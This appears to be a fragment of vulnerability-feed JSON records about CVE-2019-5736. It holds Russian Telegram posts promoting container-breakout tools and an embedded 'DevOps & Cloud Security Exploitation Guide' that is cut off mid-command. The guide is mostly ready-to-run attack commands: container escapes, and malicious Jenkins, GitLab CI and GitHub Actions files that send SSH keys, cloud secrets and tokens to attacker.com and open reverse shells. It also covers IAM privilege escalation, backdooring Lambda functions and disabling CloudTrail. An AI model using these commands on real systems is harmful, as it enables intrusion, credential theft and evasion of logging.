"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/devsecops_weekly/194", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0421\u0417\u0418 \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u043d\u0443\u0436\u0435\u043d \u00ab\u043f\u043e\u0434\u043e\u043f\u044b\u0442\u043d\u044b\u0439\u00bb, \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043e\u0431\u0440\u0430\u0437 BOtB: Break out of the box! \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e, BOtB \u2013 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f pentester\u2019\u0430\u043c\u0438 \u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u0427\u0442\u043e \u043e\u043d \u0443\u043c\u0435\u0435\u0442? \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 (\u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0435 \u043f\u043e\u043b\u043d\u044b\u0439):\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 exposed Docker daemons (docker.sock)\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 CVE-2019-5736\n\ud83c\udf6d Privileged container breakout \u0447\u0435\u0440\u0435\u0437 \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f CAPS \u0438 SYSCALLS\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Kubernetes Service Accounts secrets \n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ENV \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 the ProcFS, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /Proc/{pid}/Environ\n\n\u0412\u0441\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b CLI \u0438\u043b\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c YAML config file.\n\nP.S. \u0415\u0441\u043b\u0438 \u0437\u0430\u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2013 \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e, \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0441\u043f\u0435\u0440\u0432\u0430 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430", "creation_timestamp": "2026-08-06T00:00:36.999055Z"}, {"uuid": "32ba56c9-8074-4e14-a760-3a43bb8ec902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/devsecops_weekly/303", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438 Docker Breakout:\n\n\ud83c\udf6d Mounted Docker Socket\n\ud83c\udf6d Container Capabilities \u0438 Privileged\n\ud83c\udf6d Runc exploit (CVE-2019-5736)\n\ud83c\udf6d Docker API Firewall Bypass\n\ud83c\udf6d Writable hostPath Mount \n\n\u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c \u0438\u043b\u0438 \u0438\u043d\u043e\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u00ab\u043f\u043e\u0431\u0435\u0433\u0430\u00bb (\u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e)\n\nP.S. \u041a\u0441\u0442\u0430\u0442\u0438, \u043d\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u0435 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u0441 \u0447\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435", "creation_timestamp": "2026-08-06T00:00:37.081342Z"}, {"uuid": "a857d0a3-0c0f-4967-a70f-594918df3530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/devsecops_weekly/238", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u0440\u043e\u0435\u043a\u0442 KubeSploit, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 CyberArk. \u041f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043d\u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c:\n\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 mount\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 docker.sock\n\ud83c\udf6d \u00ab\u041f\u043e\u0431\u0435\u0433\u00bb \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2019-5736 \n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 Kubernetes \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE\n\ud83c\udf6d \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435\n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 mapping \u043d\u0430 MITRE ATT&CK (\u00ab\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e\u00bb \u0432\u0435\u0440\u0441\u0438\u044e), \u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \"\u041f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f\" \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430 Katacoda.\n\n\u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 Kubernetes Goat (\u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043a\u0441\u0442\u0430\u0442\u0438, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0441\u044f, \u0447\u0443\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442)\n\nP.S. \u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0441\u0435\u0445 \u0441 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u044e\u0449\u0438\u043c \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a\u043e\u043c!!! \u041e\u0442\u043b\u0438\u0447\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043e\u0442\u0434\u044b\u0445\u0430!!!", "creation_timestamp": "2026-08-06T00:00:37.119834Z"}, {"uuid": "0337c1ae-68ef-4bce-b412-91ac7a845967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/securixy_kz/450", "content": "Linux - CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos...\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a https://www.opennet.ru/opennews/art.shtml?num=50130", "creation_timestamp": "2026-07-12T22:00:14.013582Z"}, {"uuid": "439921b5-12d4-4e22-b7d9-8b135d156b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/securixy_kz/450", "content": "Linux - CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos...\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a https://www.opennet.ru/opennews/art.shtml?num=50130", "creation_timestamp": "2026-07-13T00:00:37.967198Z"}, {"uuid": "c1bc2949-4419-4d45-9329-a2f5cd019905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/securixy_kz/450", "content": "Linux - CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos...\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a https://www.opennet.ru/opennews/art.shtml?num=50130", "creation_timestamp": "2026-07-14T00:00:54.421761Z"}, {"uuid": "99b20c8e-1c60-424f-b9ec-f4b1da66ea6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://gist.github.com/bbrk364/190d615cbccc28f899b8d3cadc6422e7", "content": "# DevOps & Cloud Security Exploitation Guide\n\nComprehensive guide to DevOps and cloud security vulnerabilities, privilege escalation techniques, misconfigurations in AWS, Azure, GCP, Kubernetes, Docker, and CI/CD pipelines with exploitation commands and security hardening recommendations.\n\n---\n\n## Container Security Exploitation\n\n### **Docker Privilege Escalation**\n\n**Privileged Container Escape:**\n```bash\n# Check if container is privileged\ncat /proc/self/status | grep CapEff\n\n# If privileged, escape to host\ndocker run --rm -it --privileged ubuntu bash\nmkdir /mnt/host\nmount /dev/sda1 /mnt/host  # Mount host filesystem\n\n# Alternative: Use nsenter\ndocker run --rm -it --privileged --pid=host ubuntu bash\nnsenter --target 1 --mount --uts --ipc --net --pid bash\n\n# Docker socket exploitation\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash\n# Inside container:\ndocker run -v /:/mnt -it alpine  # Mount host root\n```\n\n**Docker Group Exploitation:**\n```bash\n# Check if user is in docker group\nid | grep docker\n\n# If in docker group, create container with host mount\ndocker run -v /:/mnt -it alpine\n# Access host files at /mnt\n\n# Alternative: Create privileged container\ndocker run --rm -it --privileged nginx bash\n```\n\n**Docker API Exploitation:**\n```bash\n# If Docker API is exposed (port 2375/2376)\ncurl http://192.168.1.100:2375/version\n\n# Create container with host mount\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"sh\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}}' \\\n  http://192.168.1.100:2375/containers/create\n\n# Start container\ncurl -X POST http://192.168.1.100:2375/containers//start\n```\n\n### **Kubernetes Security Exploitation**\n\n**RBAC Misconfiguration:**\n```bash\n# List all permissions for current user\nkubectl auth can-i --list\n\n# Check for wildcard permissions\nkubectl get clusterrolebindings -o wide\nkubectl get rolebindings --all-namespaces -o wide\n\n# Exploit misconfigured RBAC\n# If user can create pods with privileged containers\ncat <\" https://:6443/api/v1/namespaces\n\n# If service account has cluster-admin privileges\nkubectl create clusterrolebinding root-cluster-admin-binding \\\n  --clusterrole=cluster-admin --serviceaccount=default:default\n```\n\n**Privilege Escalation via Pod Creation:**\n```bash\n# Create pod with host PID namespace\ncat < Dockerfile << EOF\nFROM alpine\nCOPY exploit /exploit\nRUN chmod +x /exploit\nCMD [\"/exploit\"]\nEOF\n\n# Build and run\ndocker build -t malicious .\ndocker run --rm malicious\n```\n\n**Containerd Exploit (CVE-2020-15257):**\n```bash\n# Exploit containerd-shim API\n# Check if containerd-shim is accessible\nls -la /run/containerd/s/*\n\n# Create malicious container that mounts host\ndocker run --rm -it \\\n  -v /run/containerd/s/1234567890:/tmp/shim \\\n  -v /:/host alpine\n```\n\n---\n\n## CI/CD Pipeline Exploitation\n\n### **Jenkins Security Vulnerabilities**\n\n**Unauthenticated Access:**\n```bash\n# Check if Jenkins is exposed without authentication\ncurl http://jenkins-server:8080/\n\n# If unauthenticated, access Jenkins scripts\ncurl http://jenkins-server:8080/script\ncurl http://jenkins-server:8080/computer/(master)/scripts\n\n# Execute Groovy script\ncurl -X POST http://jenkins-server:8080/script \\\n  -d \"script=println 'whoami'.execute().text\"\n```\n\n**Jenkins Credential Extraction:**\n```bash\n# If you have Jenkins access, extract credentials\n# Method 1: Through script console\nprintln(hudson.util.Secret.fromString(\"{...}\").getPlainText())\n\n# Method 2: Access credentials.xml\ncurl http://jenkins-server:8080/credentials/store/system/domain/_/api/xml\n\n# Method 3: Using Jenkins CLI\njava -jar jenkins-cli.jar -s http://jenkins-server:8080/ list-credentials system::system::jenkins\n```\n\n**Pipeline Code Injection:**\n```groovy\n// Malicious Jenkinsfile\npipeline {\n    agent any\n    stages {\n        stage('Build') {\n            steps {\n                // Command injection\n                sh 'curl http://attacker.com/shell.sh | bash'\n                \n                // Reverse shell\n                sh 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n                \n                // Credential theft\n                sh 'cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/steal'\n            }\n        }\n    }\n}\n```\n\n### **GitLab Security Issues**\n\n**SSRF in GitLab:**\n```bash\n# Test for SSRF vulnerabilities\n# In issue comments or markdown\n![test](http://169.254.169.254/latest/meta-data/)\n\n# Using webhooks\ncurl -X POST http://gitlab-server/api/v4/projects/1/hooks \\\n  -H \"PRIVATE-TOKEN: \" \\\n  -d \"url=http://169.254.169.254/latest/meta-data/\"\n```\n\n**Pipeline Token Abuse:**\n```yaml\n# .gitlab-ci.yml with malicious commands\nbefore_script:\n  - export AWS_ACCESS_KEY_ID=$(aws configure get aws_access_key_id)\n  - export AWS_SECRET_ACCESS_KEY=$(aws configure get aws_secret_access_key)\n  - curl -X POST --data \"key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY\" http://attacker.com/steal\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - echo \"Building...\"\n    - cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n```\n\n### **GitHub Actions Security**\n\n**Malicious Workflow:**\n```yaml\n# .github/workflows/malicious.yml\nname: Malicious Action\n\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Steal Secrets\n      run: |\n        echo \"Stealing secrets...\"\n        echo \"${{ secrets.GITHUB_TOKEN }}\" | curl -X POST --data-binary @- http://attacker.com/token\n        echo \"${{ secrets.AWS_ACCESS_KEY_ID }}\" | curl -X POST --data-binary @- http://attacker.com/aws\n        \n    - name: Reverse Shell\n      run: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate Code\n      run: |\n        tar czf code.tar.gz .\n        curl -X POST --data-binary @code.tar.gz http://attacker.com/exfil\n```\n\n**Self-Hosted Runner Exploitation:**\n```bash\n# If you compromise a self-hosted runner\n# Check runner permissions\nwhoami\nsudo -l\n\n# Check for secrets in environment\nenv | grep -i secret\nenv | grep -i token\nenv | grep -i key\n\n# Access runner files\ncat /etc/passwd\nfind /home -name \"*.pem\" -o -name \"*.key\" -o -name \"*config*\"\n```\n\n---\n\n## Cloud Security Exploitation\n\n### **AWS Security Testing**\n\n**IAM Enumeration:**\n```bash\n# List IAM users\naws iam list-users\n\n# List IAM roles\naws iam list-roles\n\n# List IAM policies\naws iam list-policies\n\n# Get user details\naws iam get-user --user-name target-user\n\n# List user permissions\naws iam list-user-policies --user-name target-user\naws iam list-attached-user-policies --user-name target-user\n```\n\n**IAM Privilege Escalation:**\n```bash\n# Check for CreatePolicyVersion permission\naws iam simulate-principal-policy \\\n  --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/target-user \\\n  --action-names iam:CreatePolicyVersion\n\n# If allowed, create new policy version with admin rights\naws iam create-policy-version \\\n  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/target-policy \\\n  --policy-document file://admin-policy.json \\\n  --set-as-default\n\n# admin-policy.json:\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\n```\n\n**S3 Bucket Enumeration & Exploitation:**\n```bash\n# List all buckets\naws s3 ls\n\n# List objects in bucket\naws s3 ls s3://bucket-name/\n\n# Download all files\naws s3 sync s3://bucket-name/ .\n\n# Check bucket permissions\naws s3api get-bucket-acl --bucket bucket-name\naws s3api get-bucket-policy --bucket bucket-name\n\n# Check for publicly accessible buckets\naws s3api get-public-access-block --bucket bucket-name\n\n# Upload malicious file\naws s3 cp shell.php s3://bucket-name/\n```\n\n**EC2 Instance Metadata Service (IMDS) Exploitation:**\n```bash\n# Access instance metadata (if allowed)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\n\n# For IMDSv2 (requires token)\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/\n```\n\n**Lambda Function Exploitation:**\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function details\naws lambda get-function --function-name target-function\n\n# Invoke function\naws lambda invoke --function-name target-function output.txt\n\n# Update function code with backdoor\naws lambda update-function-code \\\n  --function-name target-function \\\n  --zip-file fileb://malicious.zip\n```\n\n**CloudTrail Log Evasion:**\n```bash\n# Check if CloudTrail is enabled\naws cloudtrail describe-trails\n\n# Disable CloudTrail logging (if permissions allow)\naws cloudtrail stop-logging --name trail-name\n\n# Delete CloudTrail trail\naws cloudtrail delete-trail --name trail-name\n```\n\n### **Azure Security Testing**\n\n**Azure CLI Enumeration:**\n```bash\n# List subscriptions\naz account list\n\n# List resource groups\naz group list\n\n# List virtual machines\naz vm list\n\n# List storage accounts\naz storage account list\n\n# List key vaults\naz keyvault list\n```\n\n**Managed Identity Exploitation:**\n```bash\n# If on Azure VM with Managed Identity\ncurl 